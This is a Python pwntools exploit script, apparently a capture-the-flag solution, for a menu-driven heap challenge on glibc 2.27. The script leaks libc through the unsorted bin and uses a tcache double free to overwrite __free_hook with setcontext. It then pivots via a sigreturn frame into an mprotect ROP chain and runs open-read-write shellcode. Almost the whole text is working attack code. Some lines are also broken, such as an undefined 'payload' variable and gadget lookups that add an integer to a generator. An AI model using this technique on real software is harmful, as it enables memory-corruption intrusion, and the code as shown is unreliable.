1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139
| from pwn import * elf = ELF('./pwn') context(arch = elf.arch,os = elf.os,log_level = 'debug',terminal = ['tmux','splitw','-h']) p = process('./pwn') #p = gdb.debug('../pwn','b main') libc = ELF('./libc-2.27.so')
def debug(): gdb.attach(p) pause() def menu(index): p.sendlineafter("option >>",str(index)) def add(index,size,content): menu(1) p.sendlineafter("index >>",str(index)) p.sendlineafter("size >>",str(size)) p.sendafter("content >>",content) def edit(index,content): menu(2) p.sendlineafter("index >>",str(index)) p.sendafter("content >>",content) def delete(index): menu(3) p.sendlineafter("index >>",str(index)) def show(index): menu(4) p.sendlineafter("index >>",str(index)) def exit(): menu(5)
add(0,0x410,'aaaa') add(1,0x150,'bbbb') add(2,0x150,'cccc') add(6,0x20,'barrier')
# leak_libc unsortedbin -> chunk0 delete(0) add(0,0x410,b'\x00') show(0) recv = p.recv(16) print(recv) unsortedbin = int.from_bytes(recv[8:],byteorder='little') libc_base = unsortedbin - 0x70 - libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym['__free_hook'] setcontext = libc_base + libc.sym['setcontext'] log.success(hex(unsortedbin)) log.success(hex(libc_base)) log.success(hex(free_hook)) log.success(hex(setcontext)) # double free # tcachebin -> chunk1 delete(1) # tcachebin -> chunk2 -> chunk1 delete(2) # tcachebin -> chunk1 -> chunk2 -> chunk1 delete(1) # tcachebin -> chunk2 -> chunk1 -> free_hook add(1,0x150,p64(free_hook)) # tcachebin -> chunk1 -> free_hook add(2,0x150,'cccc') # tcachebin -> free_hook add(3,0x150,'eeee') # chunk4 -> set_context add(4,0x150,p64(setcontext))
syscall = libc_base + next(libc.search(asm("syscall\nret"))) print(hex(syscall)) frame = SigreturnFrame() frame.rax = 0 # 调用read 0x98 frame.rdi = 0 # 参数1 0为标准输入 0x70 frame.rsi = free_hook&0xfffffffffffff000 # 参数2 写入 free_hook所在的页起始地址 0x78 frame.rdx = 0x2000 # 参数3 写入的长度 0x90 frame.rsp = free_hook&0xfffffffffffff000 # 执行完read之后跳转到该地址 0xa8 frame.rip = syscall # 使用syscall调用read函数 0xb0 str_frame = bytes(frame) print(str_frame)
add(5,0x450,'ffff') edit(5,str_frame) delete(5)
layout = [ next(libc_base+libc.search(asm("pop rdi\nret"))), free_hook & 0xfffffffffffff000, next(libc_base+libc.search(asm("pop rsi\nret"))), 0x2000, next(libc_base+libc.search(asm("pop rdx\nret"))), 7, next(libc_base+libc.search(asm("pop rax\nret"))), 10, syscall, next(libc_base+libc.search(asm("jmp rsp"))), ] # orw-shellcode shellcode = asm(''' sub rsp, 0x800 push 0x67616c66 mov rdi, rsp xor esi, esi mov eax, 2 syscall
cmp eax, 0 js failed
mov edi, eax mov rsi, rsp mov edx, 0x100 xor eax, eax syscall
mov edx, eax mov rsi, rsp mov edi, 1 mov eax, edi syscall
jmp exit
failed: push 0x6c696166 mov edi, 1 mov rsi, rsp mov edx, 4 mov eax, edi syscall
exit: xor edi, edi mov eax, 231 syscall ''')
payload = flat(layout) + payload p.sendline(payload) #delete(7)
p.interactive()
|